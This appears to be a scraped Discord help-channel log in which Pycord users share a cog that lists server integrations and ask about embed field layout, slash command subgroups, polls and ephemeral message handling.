from discord.ext import commands

# Paste the Integration, StreamIntegration, BotIntegration classes here
# from .types.integration import StreamIntegration, BotIntegration, StreamIntegration 

class SERVER_INTEGRATIONS(commands.Cog):
    def __init__(self, bot):
        self.bot = bot

    @commands.slash_command(name='server-integrations', description='Make the list of integrations in server')
    async def _server_integrations(self, ctx):
        guild = ctx.guild

        # Get all integrations in the server
        integrations = guild.integrations

        # Format the integrations list
        integrations_list_str = ""
        for integration in integrations:
            # Check the type of integration and handle accordingly
            if isinstance(integration, discord.BotIntegration):
                integrations_list_str += f"**Bot Integration - Name:** {integration.name}\n"
            elif isinstance(integration, discord.StreamIntegration):
                integrations_list_str += f"**Stream Integration - Name:** {integration.name}\n"
            else:
                integrations_list_str += f"**Integration - Name:** {integration.name}\n"

        # Send the response
        await ctx.respond(f'Here are the integrations in the server:\n{integrations_list_str}')

def setup(bot):
    bot.add_cog(SERVER_INTEGRATIONS(bot))
#

also idk that guild.integration really exists or not

#

coz idk where to find them

#

in docs

rugged lodgeBOT
fresh sierra
mellow spire
errant trout
#

some example py embed = Embed() for cur in range(1,11): embed.add_field(name="Test Name", value="Test Value") if not cur%2: embed.add_field(name="", value="", inline=False)note this relies on what discord has technically considered a bug for over a year now (empty embed fields), if this ever breaks you'd have to switch to invisible characters which pads the embed vertically, or find something else

grizzled loom
#

but i am going OT, nice approach!

misty sandal
#

Is there a way to create polls?

sage tendon
#

not yet

fresh sierra
#

doesnt someone use pycord multicog ?

little cobalt
sage tendon
#

what is multicog?

little cobalt
sage tendon
#

No

fresh sierra
sage tendon
#

eh, don't get the point of that lol

#

just make a cog for the entire command then

fresh sierra
#

it can be a little messy

#

and 25 sub subcommands

fresh sierra
#

Really easy question, how can i make a default / command.
So i created those 2 groups:

    xp_group = discord.SlashCommandGroup(name=xp_.name, description=xp_.description, guild_only=True)
    xp_setup_group = xp_group.create_subgroup(name=xp_.setup.name, description=xp_.setup.description, guild_only=True)

#

how can i do to add a command fror the xp_setup_group

#

for i can go /xp setup and it does a commande but also /xp setup mode

steep cliff
#

That’s not possible. /xp setup can’t be a command if it’s also a command group. However, it seems like mode would be best fit into an option. Basically get rid of the setup group, make it a command in the xp group and add mode as an option

fresh sierra
shell radish
#

It’s possible

fresh sierra
shell radish
#

i don’t make them so idk

steep cliff
#

It says right here you can’t

shell radish
steep cliff
#

Yeah, just realized that only invalidates the base command, not lower lvl commands

#

Just try and see then ig but mode as an option seems more intuitive to me in this case with the given context anyways

ember ravine
#

Hi!

Would it be possible for a command to send out 2 messages. 1 as a respond and ephemeral, and another one just public with a button. When clicked on the button the ephemeral message gets edited. Is that even possible?

ember ravine